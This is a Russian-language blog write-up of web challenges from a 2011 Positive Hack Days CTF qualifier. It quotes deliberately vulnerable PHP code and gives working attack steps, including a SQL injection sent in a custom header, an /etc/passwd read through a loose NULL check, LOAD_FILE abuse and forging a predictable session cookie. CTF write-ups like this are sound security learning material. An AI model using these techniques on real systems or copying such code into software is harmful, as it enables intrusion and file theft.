Дмитрий DarkByte Москин

Мой блог, да.
logo

PHD CTF Quals write-up

Опубликовано 11.12.2011 автором Дмитрий Москин
Довелось сегодня поучаствовать в CTF от Positive Hack Days. Очень пожалел, что к игре присоединился в последние часы, заданий было много, почти все по вебу, много интересного.

Информации по сервисам я записывал не много, а игровая сеть уже закрыта, поэтому могут быть некоторые расхождения в данных :)

Начнём с сервиса, который был по адресу 192.168.0.1. Там висела страничка с предложением ввести пароль. Ввод всякой фигни, в т.ч. кавычек, не дал результата. Заглянув в исходник, я обнаружил там ссылку на архив PowerHikeDoodad_src.zip, в котором было два файла index.php и config.php

Файл index.php был немного обфусцирован, в него был добавлен лишний код (а возможно это было ещё одним заданием) и удалены переносы строк. После приведения кода к читабельному виду, стала понятна логика авторизации, а именно то, что при каждой авторизации пароль генерируется различный и всё это дело завязано на PHP функции microtime().
mt_srand((double)microtime()*99999);
$l3=md5(mt_rand(1,99999)*mt_rand(1,99999));
setcookie('guest',serialize($l3));

while(count($o1)<14){
$s2=mt_rand(0,count($v1)-1);
if(!in_array($s2,$o1)){$o1[]=$s2;}
}

foreach($o1 as $s1){
$f3.=$v1[$s1];
}
$u1['OTP']='OTP_'.$f3;

if(isset($_REQUEST['pswd'])){
$j3=trim($_REQUEST['pswd']);
if($j3==$u1['OTP']){
print"FLAGHERE";
}
else{
print"<script>alert('Failed')</script>";
}
}

т.е. для того, чтобы сгенерировать нужный пароль, нужно знать точное время на сервере в момент отработки скрипта. Кроме того, пароли повторяются и на выборке из 100000 примерно половина были дубликаты. Теоретически, точное время на сервере в момент запроса можно узнать из куки guest, но на моём ноуте это дело довольно долго бы перебиралось. Решил исследовать скрипт дальше и неожиданно обнаружил, что в одном задании может быть больше одного флага, поэтому решил не зацикливаться на этом флаге, а поискать чего-нибудь поинтереснее :)

if(is_numeric($_GET['debug'])&&isset($_GET['phpver'])){
if($_GET['phpver']===phpversion()){
$b3=phpversion();
$j1='$b3 debug';
$z1=str_replace('-','/',date("Y-m-d",($p1+(60*60*24*$o0))));
collider_debug($z1);
}
}

function collider_debug(){
if(!is_numeric($_REQUEST['debug'])&&is_numeric($_REQUEST['phpver'])){
function mysql_count($s3,$b1){
return"FLAGHERE";
}
[...]
print mysql_count("collider","debug");
}
}


Вроде бы ничего сложного, нужно узнать версию PHP и передать 2 параметра (debug и phpver) так, чтобы они удовлетворяли четырём условиям. Напомню, что массив $_REQUEST формируется из массивов $_GET, $_POST и $_COOKIE (по умолчанию, в указанном порядке) с перезаписью значений. А версию PHP можно узнать из заголовка Server в ответе веб сервера.

Набор параметров для первой проверки передаём в GET, для второй в COOKIE (для удобства, но можно и в POST). Итого, для успешной эксплуатации уязвимости, необходимо сделать запрос к index.php?debug=1&phpver=5.3.6 с установленными куками debug=qwe и phpver=123 и в ответ мы получаем один из флагов (16690a7b9a8208058b4fbffa11ab4c57).

Ещё один флаг можно получить из базы данных
$_SESSION['access']=1;
if($_SESSION['access']&&!empty($_GET['info'])){
if($_SESSION['access']&&$_REQUEST['notbanned']){
$f0=$_SERVER['HTTP_PHD'];
$q1=mysql_connect($v2,$d2,$g1)or die("Can not connect");
mysql_select_db($u3,$q1);
$o3=mysql_query("select id,phd,id as i,phd as p from status where id =$f0")or die('Query failed: '.mysql_error());


Достаточно обратиться к index.php?info=1&notbanned=1 и передать заголовок PHD с SQL инъекцией. В таблице status была всего одна запись, которая не содержала флага, поэтому я подумал, что флаг будет в какой-то другой таблице и полез в information_schema, но доступ туда был запрещён. Потом я обратил внимание на странный набор столбцов в SELECT, зачем то дважды выбирались 2 столбца, что навело на мысль, что неспроста это. Попробовал выбрать все поля из таблицы status и получил ошибку, сообщающую о том, что количество столбцов до UNION, не совпадает с количеством после. Добавил один дополнительный столбец в выборку и получил флаг.

Итого, для получения флага, необходимо было выполнить
wget -q -O - "http://192.168.0.1/?info=1&notbanned=1" --header="PHD: -1 UNION SELECT *,0 FROM status"

В ответе получаем флаг: 308e7545f07c67d9558ef36be0e92f18

Переходим к следующей уязвимости
function folowe($z1){
$z1=str_replace(".","",$z1);
if(file_exists($z1)){
readfile($z1);
}
}

function get_plain(){
if((isset($_REQUEST['permission']))&&($_REQUEST['permission']==$y1))
{return 1;}
else
{return 0;}
}

if(get_plain()){
if(isset($_GET['op'])&&!empty($_GET['op'])){
$w1=htmlspecialchars($_GET['op']);
folowe($w1);
}
}


В данном случае, мы можем читать любой файл в системе, в имени которого нет точек, но для этого необходимо знать значение переменной $y1. Однако, в коде эта переменная объявлена не была, а значит она равна NULL. Но тогда возникает проблема, какое значение нужно передать в качестве permission, чтобы пройти проверку isset и при этом оно было равно NULL. Учитывая, что для сравнения с NULL используется "==", а не "===", пустая строка вполне удовлетворяет обоим условиям и первый файл, посмотреть который, приходит в голову, оказывается тем самым :)
wget -q -O - "http://192.168.0.1/?permission=&op=/etc/passwd"

# $FreeBSD: src/etc/master.passwd,v 1.40.22.1.6.1 2010/12/21 17:09:25 kensmith Exp $
#
root:*:0:0:FLAG-e4cc1e1247e9f37d22ed98579d75dca8:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
[...]


Ещё в этом сервисе было как минимум 2 флага, но их получить мне не удалось, было желание посмотреть как можно больше сервисов, а не зацикливаться на одном.


Так же, довольно интересным сервисом мне показался 192.168.0.12. Сервис позволял просматривать директории любой директории. Поначалу я безуспешно бродил по диску и не замечал очевидного. Если посмотреть содержимое папки /usr/local/www/apache22/, то кроме стандартных data, errors, icons и тд, там были две папки phd-community.local и robo-search.local, но не найдя внутри них ничего интересного, я почти забыл про них, но потом вспомнил и добавил две записи в свой hosts файл:
192.168.0.12 phd-community.local
192.168.0.12 robo-search.local


И догадка оказалась верной, появился доступ к двум новым сайтам. На сайте robo-search.local была закомментированная html форма поиска с банальной sql инъекцией, но в базе ничего интересного не нашлось. Затем я вспомнил про LOAD_FILE, и оказалось, что на неё имеются права. С помощью LOAD_FILE, я загрузил файлы index.php со всех трёх доменов сервиса (скачать можно тут) и обнаружил на сайте "phd-community.local" возможность получения флага, но для этого необходимо было пройти авторизацию по логину и паролю, которые хранились в базе, доступа к которой не было, а фильтрация не позволяла провести инъекцию.

Обратив внимания на код проверки авторизации, я понял, что не обязательно её проходить, достаточно знать идентификатор сессии любого авторизованного пользователя.
if (isset($_SESSION['auth']) || isset($_COOKIE['auth'])) {
if (isset($_SESSION['auth'])) {
$session=htmlspecialchars($_SESSION['auth'],ENT_QUOTES);
} else {
$session=htmlspecialchars($_COOKIE['auth'],ENT_QUOTES);
}


Решив, что его можно попробовать подобрать, я посмотрел, как он генерируется и всё встало на свои места :)
		$session=md5(date("Ymd")."bebop");
$_SESSION['auth']=$session;


Учитывая то, что код, проверяющий, истёк ли срок жизни сессии был закомментирован, а в течении суток для всех пользователей идентификатор сессии был одинаковый, я решил, что в базе уже имеется запись об авторизованном пользователе, нужно лишь только подобрать день, в который пользователь проходил авторизацию. Этим днём оказался 11.05.2011 или соответствующий этой дате хеш: a234b7db58b9d64605f741533d75c10a. Подставив его в куку auth, можно получить флаг: 382bfb848e9c7d5fa33878d6c3938ff8.

После этого была получена ещё парочка флагов с других сервисов, но процесс их получения я уже не записывал, ибо до конца игры оставались считанные минуты.

В целом, CTF понравился, надеюсь, что в следующий раз получится сыграть полные 32 часа, а не 4, как в этот раз.